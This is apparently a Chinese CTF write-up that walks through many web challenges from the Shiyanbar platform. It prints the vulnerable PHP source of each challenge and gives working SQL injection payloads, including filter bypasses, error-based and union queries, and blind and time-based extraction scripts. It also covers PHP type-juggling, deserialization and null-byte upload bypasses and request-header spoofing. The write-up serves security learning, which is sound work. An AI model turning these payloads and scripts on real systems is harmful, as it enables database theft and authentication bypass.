前言 实验吧的题目还是很好的,来学习一下。
正文 你真的会PHP吗 查看源码啥也没有,在header里找到一个hint:6c525af4059b4fe7d8c33a.txt,打开得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php $info = "" ; $req = [];$flag ="xxxxxxxxxx" ;ini_set("display_error" , false ); error_reporting(0 ); if (!isset ($_POST ['number' ])){ header("hint:6c525af4059b4fe7d8c33a.txt" ); die ("have a fun!!" ); } foreach ([$_POST ] as $global_var ) { foreach ($global_var as $key => $value ) { $value = trim($value ); is_string($value ) && $req [$key ] = addslashes($value ); } } function is_palindrome_number ($number ) { $number = strval($number ); $i = 0 ; $j = strlen($number ) - 1 ; while ($i < $j ) { if ($number [$i ] !== $number [$j ]) { return false ; } $i ++; $j --; } return true ; } if (is_numeric($_REQUEST ['number' ])){ $info ="sorry, you cann't input a number!" ; }elseif ($req ['number' ]!=strval(intval($req ['number' ]))){ $info = "number must be equal to it's integer!! " ; }else { $value1 = intval($req ["number" ]); $value2 = intval(strrev($req ["number" ])); if ($value1 !=$value2 ){ $info ="no, this is not a palindrome number!" ; }else { if (is_palindrome_number($req ["number" ])){ $info = "nice! {$value1} is a palindrome number!" ; }else { $info =$flag ; } } } echo $info ;
因缺思汀的绕过 查看源码,发现source.txt,打开看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php error_reporting(0 ); if (!isset ($_POST ['uname' ]) || !isset ($_POST ['pwd' ])) { echo '<form action="" method="post">' ."<br/>" ; echo '<input name="uname" type="text"/>' ."<br/>" ; echo '<input name="pwd" type="text"/>' ."<br/>" ; echo '<input type="submit" />' ."<br/>" ; echo '</form>' ."<br/>" ; echo '<!--source: source.txt-->' ."<br/>" ; die ; } function AttackFilter ($StrKey ,$StrValue ,$ArrReq ) { if (is_array($StrValue )){ $StrValue =implode($StrValue ); } if (preg_match("/" .$ArrReq ."/is" ,$StrValue )==1 ){ print "水可载舟,亦可赛艇!" ; exit (); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)" ;foreach ($_POST as $key =>$value ){ AttackFilter($key ,$value ,$filter ); } $con = mysql_connect("XXXXXX" ,"XXXXXX" ,"XXXXXX" );if (!$con ){ die ('Could not connect: ' . mysql_error()); } $db ="XXXXXX" ;mysql_select_db($db , $con ); $sql ="SELECT * FROM interest WHERE uname = '{$_POST['uname']} '" ;$query = mysql_query($sql ); if (mysql_num_rows($query ) == 1 ) { $key = mysql_fetch_array($query ); if ($key ['pwd' ] == $_POST ['pwd' ]) { print "CTF{XXXXXX}" ; }else { print "亦可赛艇!" ; } }else { print "一颗赛艇!" ; } mysql_close($con ); ?>
可以看到主要是 $filter = “and|select|from|where|union|join|sleep|benchmark|,|(|)”;
这句话过滤了很多关键词
所以这个题目不能用以前的方法来做,要用到一个新的方法,参考文章
阅读源码可知,我们需要让数据库返回的pwd字段与我们post的内容相同,但是我们不知道数据库中pwd是什么(注意此处是弱类型比较)。
这里是巧妙地用了select过程中用group by with rollup这个统计的方法进行插入查询。做几个实验看看。with rollup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 mysql> create table test( -> user varchar(100) not null, -> pwd varchar(100) not null); Query OK, 0 rows affected (0.05 sec) mysql> insert into test value("admin","mypwd"); Query OK, 1 row affected (0.00 sec) mysql> select * from test group by pwd with rollup -> ; +-------+-------+ | user | pwd | +-------+-------+ | admin | mypwd | | admin | NULL | +-------+-------+ 2 rows in set (0.00 sec) mysql> select * from test group by pwd with rollup limit 1; +-------+-------+ | user | pwd | +-------+-------+ | admin | mypwd | +-------+-------+ 1 row in set (0.00 sec) mysql> select * from test group by pwd with rollup limit 1 offset 0; +-------+-------+ | user | pwd | +-------+-------+ | admin | mypwd | +-------+-------+ 1 row in set (0.00 sec) mysql> select * from test group by pwd with rollup limit 1 offset 1; +-------+------+ | user | pwd | +-------+------+ | admin | NULL | +-------+------+ 1 row in set (0.00 sec)
让pwd变成空,而且user这一列用的却是也是存在的字段! 这就很好用了!又有if (mysql_num_rows($query) == 1)知道只要一列。
然后我们构造payload’ or 1=1 group by pwd with rollup limit 1 offset XX#
进行尝试
最终payload:uname=1' or 1=1 group by pwd with rollup limit 1 offset 2#&pwd=
简单的SQL注入3 报错注入,方法有很多。
尝试发现floor,extractvalue,updatexml被吃掉了,那就用exp
爆库名:'or EXP(~(SELECT * from(select database())a))#
爆表名:'or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a))#
爆列名:'or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name='flag')a))#
爆数据:'or EXP(~(SELECT * from(select group_concat(flag) from flag)a))#
不得不说报错注入真的厉害。
在网上还看到用脚本bool注入的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import sysimport reimport urllib.requestimport http.clientheaders = {'Content-Type' : 'application/x-www-form-urlencoded' } flag = '' print ("Start SQLi" )for i in range (1 ,27 ): for payload in range (30 ,127 ): sys.stdout.write('.' ) sys.stdout.flush() conn = http.client.HTTPConnection('ctf5.shiyanbar.com' ,timeout=60 ) s = "/web/index_3.php?id=1'+and+ascii(substr((select+flag+from+flag)%2C{0}%2C1))+%3D{1}%23" .format (i,payload) conn.request(method='GET' ,url=s,headers=headers) response = conn.getresponse().read().decode('utf-8' ) conn.close() if response.find(str ('Hello' )) >0 : flag += chr (payload) print (i,chr (payload)) break print ('Done! flag is {0}' .format (flag))
跑的时间有点长
简单的sql注入2 既然是2,那么比1过滤的东西更多。
输入1,正常回显,输入 1’,报错,输入1’ or ‘1’=’1,报错
然后,尝试一堆东西,都是**SQLi detected!**,难道是把空格过滤了吗?
输入1’or’1’=’1,返回所有数据,测试后,发现1’%0aor%0a’1’=’1和1’/**/or/**/‘1’=’1也可以正常返回。
爆库
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
爆表
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
爆列
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag
爆内容
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
简单的sql注入1 输入1,正常返回
输入1’,报错
输入1’ or ‘1’=’1,返回所有用户数据
应该是字符型注入,
测试了很多之后,发现order by,union select,都被过滤了
而且发现注释符也被过滤了(可以用 **’**号闭合 ,如having , where),
要绕过关键字的过滤,有以下几个方法
大小写: Order SeLect
重复 : unionunion selectselect
交叉: selecselectt
构造语句:1' unionunion selectselect database()'
,发现空格也被过滤了
绕过空格有好多方法:+,/**/,%0a,或者两个空格代替一个空格,
如:`1’ unionunion selectselect database()’,爆出数据库(这里是两个空格)
爆表1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere '1'='1
爆列
1' unionunion selectselect column_namcolumn_namee fromfrom information_schema.coluinformation_schema.columnsmns wherewhere table_name='flag
爆数据
1' unionunion selectselect flag fromfrom flag wherewhere '1'='1
天下武功唯快不破
要求很快的传入一个值,键名是key,手传应该是不行的。
在header中找到一个
base解码之后P0ST_THIS_T0_CH4NGE_FL4G:dVcqymnw5
写一个脚本把dVcqymnw5,post上去居然不对,再看header时,发现值变了,看来是每刷新一次,FLAG都会变,所以,把这一部分也写进脚本里
1 2 3 4 5 6 7 8 9 import requests,base64url='http://ctf5.shiyanbar.com/web/10/10.php' ses=requests.Session() r = ses.get(url) key=base64.b64decode(r.headers['FLAG' ])[-9 :] print (key)r=ses.post(url,data={'key' :key}) print (r.text)
让我进去 看了源码,什么信息都没有,bp抓包之后,在cookie中发现了一个source=0,尝试改成source=1,得到了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $flag = "XXXXXXXXXXXXXXXXXXXXXXX" ;$secret = "XXXXXXXXXXXXXXX" ; $username = $_POST ["username" ];$password = $_POST ["password" ];if (!empty ($_COOKIE ["getmein" ])) { if (urldecode($username ) === "admin" && urldecode($password ) != "admin" ) { if ($COOKIE ["getmein" ] === md5($secret . urldecode($username . $password ))) { echo "Congratulations! You are a registered user.\n" ; die ("The flag is " . $flag ); } else { die ("Your cookies don't match up! STOP HACKING THIS SITE." ); } } else { die ("You are not an admin! LEAVE." ); } } setcookie("sample-hash" , md5($secret . urldecode("admin" . "admin" )), time() + (60 * 60 * 24 * 7 )); if (empty ($_COOKIE ["source" ])) { setcookie("source" , 0 , time() + (60 * 60 * 24 * 7 )); } else { if ($_COOKIE ["source" ] != 0 ) { echo "" ; } }
1.Cookie中getmein的值不能为空 2.username必须为admin和password不能为admin 3.Cookie中的getmein必须等于md5($secret.urldecode($username.$password))
满足这三个条件才可获得flag,可是我们无法得知$secret的值为多少,
拐弯抹角 直接给出了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 <?php echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>' ;$URL = $_SERVER ['REQUEST_URI' ];$flag = "CTF{???}" ;$code = str_replace($flag , 'CTF{???}' , file_get_contents('./index.php' ));$stop = 0 ;if ($flag && strpos($URL , './' ) !== FALSE ){ $flag = "" ; $stop = 1 ; } if ($flag && strpos($URL , '\\' ) !== FALSE ){ $flag = "" ; $stop = 2 ; } $matches = array ();preg_match('/^([0-9a-z\/.]+)$/' , $URL , $matches ); if ($flag && empty ($matches ) || $matches [1 ] != $URL ){ $flag = "" ; $stop = 3 ; } if ($flag && strpos($URL , '//' ) !== FALSE ){ $flag = "" ; $stop = 4 ; } if ($flag && substr($URL , -10 ) !== '/index.php' ){ $flag = "" ; $stop = 5 ; } if ($flag && strpos($URL , 'p.' ) !== FALSE ){ $flag = "" ; $stop = 6 ; } if ($flag && $URL == '/indirection/index.php' ){ $flag = "" ; $stop = 7 ; } if (!$stop ) $stop = 8 ;echo 'Flag: ' .$flag ;echo '<hr />' ;for ($i = 1 ; $i < $stop ; $i ++) $code = str_replace('//Pass ' .$i , '//Pass' , $code ); for (; $i < 8 ; $i ++) $code = str_replace('//Pass ' .$i , '//Not Pass' , $code ); echo highlight_string($code , TRUE );echo '</body></html>' ;
一大段的代码,上来就是各种过滤,一脸懵逼,只好去百度了,然后了解到了一个新知识url伪静态 ,详细信息可以去百度,最关键的就一句话,url中含有xxxx.php/aaa/bbb,那么.php后的aaa就会被当成键名或者说参数名,bbb会被当成键值或者参数值
payload:index.php/aa/index.php
,即可得到flag
查看源码,<input type="hidden" name="showsource" value=0>
表明有一个隐藏的输入框,具体可以百度。
bp抓包,把showsource=0,改成showsource=1,得到源码
1 2 3 4 5 6 $a = $_POST ["PIN" ];if ($a == -19827747736161128312837161661727773716166727272616149001823847 ) { echo "Congratulations! The flag is $flag " ; } else { echo "User with provided PIN not found." ; }
看到要求输入的pin=-19827747736161128312837161661727773716166727272616149001823847,提交一下试试,得到flag。
天网管理系统 点击他给的用户名和密码登录,没有反应,查看源码,有一行注释
1 $test =$_GET ['username' ]; $test =md5($test ); if ($test =='0' )
这里提示我们传入一个username,然后经过MD5处理后,值等于0,
在使用 == 运算符对两个字符串进行松散比较时,PHP会把类数值的字符串转换为数值进行比较,如果参数是字符串,则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值。比如: ‘3’ == ‘3ascasd’结果为true。
那么就要找一个经过MD5处理后,值为0,或者说第一个字母是0的字符串,这里有几个240610708,aabg7XSs,aabC9RqS ,
bp抓包后,把username的值换成240610708,得到一个页面的地址,/user.php?fame=hjkleffifer
访问/user.php?fame=hjkleffifer,得到一部分源码
1 2 3 4 5 6 $unserialize_str = $_POST ['password' ]; $data_unserialize = unserialize($unserialize_str ); if ($data_unserialize ['user' ] == '???' && $data_unserialize ['pass' ]=='???' ){ print_r($flag ); }
这是PHP反序列化的知识,要求当反序列化后的数组中的user=’???’并且pass=’???’,输出flag
但是我们不知道两处???到底是什么,因此无法考虑用php函数构造这样的值。
最牛的地方来了,bool类型的true跟任意字符串可以弱类型相等 。
因此我们可以构造bool类型的序列化数据 ,无论比较的值是什么,结果都为true。
所以,我们要构造一个数组,是user=true,pass=true,然后进行序列化,序列化过程如下:
1 2 3 4 5 6 <?php $arr =array ('user' =>true ,'pass' =>true );$arr2 =serialize($arr );echo $arr2 ;?>
把a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}放到password,即可得到flag
忘记密码了 查看源码
有重要信息,看到了用户名和用户邮箱,以及文件编辑器是vim,那么有可能存在文件泄露,试了一下,没有。。。
用管理员邮箱登录试试,提示说发到管理员邮箱,你看不到
随便输一个邮箱登录,显示一下信息,显示有一个step2.php,
直接访问,发现网页闪了一下,又回到step1.php了,查看step2.php的源码,有个submit.php
打开看看,提示说you are not admin ,怎么才能成为管理员呢?
想起来vim了,再在这个页面看看有没有文件泄露,访问.submit.php.swp
,有源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 if (!empty ($token )&&!empty ($emailAddress )){ if (strlen($token )!=10 ) die ('fail' ); if ($token !='0' ) die ('fail' ); $sql = "SELECT count(*) as num from `user` where token='$token ' AND email='$emailAddress '" ; $r = mysql_query($sql ) or die ('db error' ); $r = mysql_fetch_assoc($r ); $r = $r ['num' ]; if ($r >0 ){ echo $flag ; }else { echo "失败了呀" ; } }
if(strlen($token)!=10) die(‘fail’); if($token!=’0’) die(‘fail’); //要求token的长度要=10,值=0
要想满足这个要求,可以使token=0e10000000或者token=0000000000,都可以。
至于emailAddress,应该就是开始的那个管理员邮箱,admin@simplexue.com
所以payload1:?emailAddress=admin@simplexue.com&token=0000000000
payload2:?emailAddress=admin@simplexue.com&token=0e99999999
Once More 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php if (isset ($_GET ['password' ])) { if (ereg ("^[a-zA-Z0-9]+$" , $_GET ['password' ]) === FALSE ) { echo '<p>You password must be alphanumeric</p>' ; } else if (strlen($_GET ['password' ]) < 8 && $_GET ['password' ] > 9999999 ) { if (strpos ($_GET ['password' ], '*-*' ) !== FALSE ) { die ('Flag: ' . $flag ); } else { echo ('<p>*-* have not been found</p>' ); } } else { echo '<p>Invalid password</p>' ; } } ?>
if (ereg (“^[a-zA-Z0-9]+$”, $_GET[‘password’]) === FALSE) //password由数字和字母组成
if (strlen($_GET[‘password’]) < 8 && $_GET[‘password’] > 9999999) //password长度小于8,password>9999999
if (strpos ($_GET[‘password’], ‘*-*‘) !== FALSE) //password必须包含*-*
ereg()函数可以哄%00截断,来绕过判断,strpos()则可以使用数组来绕过。
payload:?password[]=1
还可以不绕过strpos(),那就要使用科学计数法,来绕过if (strlen($_GET[‘password’]) < 8 && $_GET[‘password’] > 9999999),并且把*-*拼接上去,payload:?password=1e8%00*-*
Guess Next Session 源码
1 2 3 4 5 6 7 8 9 10 <?php session_start(); if (isset ($_GET ['password' ])) { if ($_GET ['password' ] == $_SESSION ['password' ]) die ('Flag: ' .$flag ); else print '<p>Wrong guess.</p>' ; } mt_srand((microtime() ^ rand(1 , 10000 )) % rand(1 , 10000 ) + rand(1 , 10000 )); ?>
bp抓包之后一顿操作,然而没有成功,尝试在cookie里面添加一个值,也不对,百度一下,看看别人的wp,参考文章
观察代码,在代码中并没有什么函数,关键就在于:password = $_session[‘password’]。
问题到了这一步,让我们把这放下,先来分析一下PHP中的Session和Cookie。
Cookie与 Session,一般都会认为这是两个独立完全不同的东西,Session采用的是在服务器端保持状态的方案,而Cookie采用的是在客户端保持状态的方案。在PHP配置中的默认情况下,Session是用Session ID来确定当前对话所对应的服务器Session,而Session ID是通过Cookie来传递的,禁用Cookie相当于失去了Session ID,也就得不到Session了。
bp抓包之后,
从抓包的内容中我们就能看见在Cookie中已经是包含了Sessid,并且发送的password在URL中以Get的方式传值。
那这里我们就可以以这样的思路来求解。首先我们删除所有的Cookie,将PHPSessid值直接删掉,这样的结果就会使得$_session[‘password’]值为空,接下来我们将URL中的password值清空,这样我们就能达到password = $_session[‘password’]的效果。
右键,发送到Repeater,删掉Cookie和password,点击go就能得到flag
FALSE 查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php if (isset ($_GET ['name' ]) and isset ($_GET ['password' ])) { if ($_GET ['name' ] == $_GET ['password' ]) echo '<p>Your password can not be your name!</p>' ; else if (sha1($_GET ['name' ]) === sha1($_GET ['password' ])) die ('Flag: ' .$flag ); else echo '<p>Invalid password.</p>' ; } else { echo '<p>Login first!</p>' ; ?>
if ($_GET[‘name’] == $_GET[‘password’])
if (sha1($_GET[‘name’]) === sha1($_GET[‘password’]))
要求name!=password,但是sha1(name)===sha1(password)
这是md5的强比较,可以使用数组绕过
payload:?name[]=1&password[]=2
上传绕过 这个题忘了在哪做过了
尝试改后缀名不行之后,那么就猜测是0x00截断,0x00截断的原理是当文件系统读取到0x00是会认为文件已经结束了,不处理后面的内容。
bp抓包,
打开hex,找到2b(+),改成00,
然后go,即可得到flag
NSCTF web200
先说一下strrev 函数,是一个字符串反转函数,例如:
1 2 3 4 5 <?php echo strrev("Hello world!" ); ?>
substr — 返回字符串的子串,例如:
1 2 3 4 5 6 7 8 <?php $rest = substr("abcdef" , 0 , -1 ); $rest = substr("abcdef" , 2 , 5 ); $rest = substr("abcdef" , 4 , -4 ); $rest = substr("abcdef" , -3 , -1 ); ?>
decode算法
1 2 3 4 5 6 7 8 9 10 11 12 <?php $_ ="" ;$str ='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws' ;$a =base64_decode(strrev(str_rot13($str )));for ($_0 =strlen($a )-1 ;$_0 >=0 ;$_0 --){ $_c =substr($a ,$_0 ,1 ); $__ =ord($_c )-1 ; $_c =chr($__ ); $_ =$_ .$_c ; } echo $_ ;
程序逻辑问题 查看源码,发现一个index.php,打开之后是php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php if ($_POST [user] && $_POST [pass]) { $conn = mysql_connect("********, " *****", " ********"); mysql_select_db(" phpformysql") or die(" Could not select database"); if ($conn ->connect_error) { die(" Connection failed: " . mysql_error($conn )); } $user = $_POST [user];$pass = md5($_POST [pass]);$sql = " select pw from php where user='$user' "; $query = mysql_query($sql );if (!$query ) { printf(" Error : %s\n", mysql_error($conn )); exit(); } $row = mysql_fetch_array($query , MYSQL_ASSOC);//echo $row [" pw"]; if (($row [pw]) && (!strcasecmp($pass , $row [pw]))) { echo " <p>Logged in! Key:************** </p>"; } else { echo(" <p>Log in failure!</p>"); } } ?>
strcasecmp () 函数比较两个字符串。
提示:strcasecmp() 函数是二进制安全的,且不区分大小写。
提示:该函数与 strncasecmp() 函数类似,不同的是,通过 strncasecmp() 您可以指定每个字符串用于比较的字符数。
$sql = “select pw from php where user=’$user’”;
说明是单引号闭合,
$pass = md5($_POST[pass]);
if (($row[pw]) && (!strcasecmp($pass, $row[pw])))
可以看出post提交的password经过了MD5处理,而要想得到flag,必须使得数据库中查询到的password和经过MD5处理的提交了的password相等,提交的password我们 可以控制,但是数据库中的password我们就不知道是多少了。
但是,我们发现$row[pw]的值是从$sql中提取出来的,所以我们只要改变了$sql里的pw值就可以了 ,我们可以用SQL语句随便查询一个pw值,然后使得提交的password的MD5值和这里查询的password的MD5值相等即可。
payload:username=-1' union select md5(1)#&password=1
what’ the fuck? 打开是一大段JSFUCK码,直接放在控制台跑一下,得到flag,也可以在线解码。
PHP大法 有提示查看index.php.txt,有源码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php if (eregi("hackerDJ" ,$_GET [id])) { echo ("<p>not allowed!</p>" ); exit (); } $_GET [id] = urldecode($_GET [id]);if ($_GET [id] == "hackerDJ" ){ echo "<p>Access granted!</p>" ; echo "<p>flag: *****************} </p>" ; } ?>
一看,发现这道题在bugku做过,二次编码绕过
payload:?id=hackerD%254A
,就行了。
这个看来有点简单 这题一看就是注入,测试了一下,就是一个bool注入,两列
然后就是四步走
爆库
?id=-1 union select 1,database()#
爆表
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆列
?id=-1 union select 1,column_name from information_schema.columns where table_name='thiskey'#
爆内容
?id=-1 union select 1,k0y from thiskey#
就可以得到flag了
貌似有点难 打开就说代码审计,那就看看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php function GetIP ( ) {if (!empty ($_SERVER ["HTTP_CLIENT_IP" ])) $cip = $_SERVER ["HTTP_CLIENT_IP" ]; else if (!empty ($_SERVER ["HTTP_X_FORWARDED_FOR" ])) $cip = $_SERVER ["HTTP_X_FORWARDED_FOR" ]; else if (!empty ($_SERVER ["REMOTE_ADDR" ])) $cip = $_SERVER ["REMOTE_ADDR" ]; else $cip = "0.0.0.0" ; return $cip ;} $GetIPs = GetIP();if ($GetIPs =="1.1.1.1" ){echo "Great! Key is *********" ;} else {echo "错误!你的IP不在访问列表之内!" ;} ?>
这段代码要求本地的IP是1.1.1.1就会输出flag,即要求:
X-Forwarded-For:1.1.1.1
bp抓包,添加这个就可以了。
头有点大 看这个题目的提示,问题应该在header上。
您无权访问此服务器上的/。 请确保您已安装.net framework 9.9! 确保您在英格兰地区并使用Internet Explorer浏览此站点
有三个要求:1.使用.net 9.9框架 2.在英国 3.使用IE浏览器。
要修改http的请求头,来伪装一下。
bp抓包之后,修改User-Agent和Accept-Language即可
User-Agent: compatible; MSIE 6.0;.NET CLR 9.9 //伪装成IE和.net 9.9
Accept-Language:en-gb //伪装是英国
看起来有点难 看着像注入题,随便输入一个账户和密码,显示数据库连接失败
把用户名换成admin试试,变成了登录失败,错误的用户名和密码。
这是为什么呢?然后又换了其他用户名试了试,发现都是数据库连接失败,于是猜测,admin就是正确的用户名,
bp抓包,然后希望通过构造永真的条件来跳过密码验证,都失败了,导出文件之后,sqlmap跑了几遍也不行,,,,,,,
只好在网上找找wp了,发现是sleep延时注入(延时注入不怎么会啊),
看着做一遍吧,参考文章
测试payload:
?admin=admin' and sleep(5) and ''='&pass=&action=login
发现延时5秒,存在注入
拿人家的脚本试试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requestsimport time payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-' flag = "" key=0 print ("Start" )for i in range (1 ,50 ): if key == 1 : break for payload in payloads: starttime = time.time() headers = {"Host" : "ctf5.shiyanbar.com" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" , "Accept-Language" : "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3" , "Accept-Encoding" : "gzip, deflate" , "Cookie" : "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour" , "Connection" : "keep-alive" , } url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(10) else sleep(0) end and ''='&pass=&action=login" %(i,payload) res = requests.get(url, headers=headers) if time.time() - starttime > 10 : flag += payload print ('\n pwd is:' , flag) break else : if payload == '-' : key = 1 break print ('\n[Finally] current pwd is %s' % flag)
成功得到密码
想看详细信息的,查看原文
用密码登录之后,即可得到flag